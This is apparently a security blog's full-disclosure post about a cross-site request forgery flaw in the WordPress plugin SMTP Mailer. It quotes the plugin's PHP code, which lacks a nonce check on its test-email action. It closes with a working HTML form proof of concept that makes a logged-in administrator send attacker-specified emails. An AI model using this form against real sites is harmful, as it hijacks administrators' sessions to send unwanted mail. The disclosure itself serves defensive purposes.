Cross-Site Request Forgery (CSRF)/Email Sending Vulnerability in SMTP Mailer
Yesterday one of the 1,000 most popular WordPress plugins, SMTP Mailer, was closed on the Plugin Directory. We are not following why it appears to be closed, as subsequent to the closure a new version was released with the following accurate chagelog entry, “SMTP Mailer no longer shows the saved password in the settings.”, and the plugin was reopened. Seeing as the password was shown on a page normally only accessible by Administrators and they normally have the ability to just about anything it isn’t clear what the issue was here that would justify the closure. When we went to try to get a better understanding of that we noticed there is a clear security vulnerability in the most recent version of the plugin, which could allow an attacker to cause logged in WordPress Administrators to send out emails without intending it.
When we went to look at the settings page we saw there also was a tab for sending a “Test Email”:
That allows setting the email address, subject, and message to be sent:
A quick check showed that there wasn’t a check for a valid nonce to prevent cross-site request forgery (CSRF) when using that (despite a nonce being sent with the request sent from the page).
We then looked at the underlying code to confirm that result and see how that code is accessed, to see if there might be more of an issue.
The plugin register’s its settings page to be accessible to those with the “manage_options” capability, so normally only Administrators:
72 | add_options_page(__('SMTP Mailer', 'smtp-mailer'), __('SMTP Mailer', 'smtp-mailer'), 'manage_options', 'smtp-mailer-settings', array($this, 'options_page')); |
In the function options_page(), which runs when accessing that page if the GET input “action” exists and is set to “test-email” then function test_email_settings() will run:
104 105 106 | if(isset($_GET['action']) && $_GET['action'] == 'test-email'){ $this->test_email_settings(); } |
As long as the POST input “smtp_mailer_send_test_email” exists that function will send an email with the email address, subject, and message specified by user input:
116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | function test_email_settings(){ if(isset($_POST['smtp_mailer_send_test_email'])){ $to = ''; if(isset($_POST['smtp_mailer_to_email']) && !empty($_POST['smtp_mailer_to_email'])){ $to = sanitize_text_field($_POST['smtp_mailer_to_email']); } $subject = ''; if(isset($_POST['smtp_mailer_email_subject']) && !empty($_POST['smtp_mailer_email_subject'])){ $subject = sanitize_text_field($_POST['smtp_mailer_email_subject']); } $message = ''; if(isset($_POST['smtp_mailer_email_body']) && !empty($_POST['smtp_mailer_email_body'])){ $message = sanitize_text_field($_POST['smtp_mailer_email_body']); } wp_mail($to, $subject, $message); } |
For an Administrator to do that wouldn’t be a vulnerability, but since there isn’t protection against CSRF, the Administrator could be caused to send out emails without intending it.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Proof of Concept
The following proof of concept will send out an email to the specified to address, when logged in as Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress and the details of the email to send out.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=smtp-mailer-settings&action=test-email" method="POST"> <input type="hidden" name="smtp_mailer_to_email" value="" /> <input type="hidden" name="smtp_mailer_email_subject" value="" /> <input type="hidden" name="smtp_mailer_email_body" value="" /> <input type="hidden" name="smtp_mailer_send_test_email" value="Send Email" /> <input type="submit" value="Submit" /> </form> </body> </html>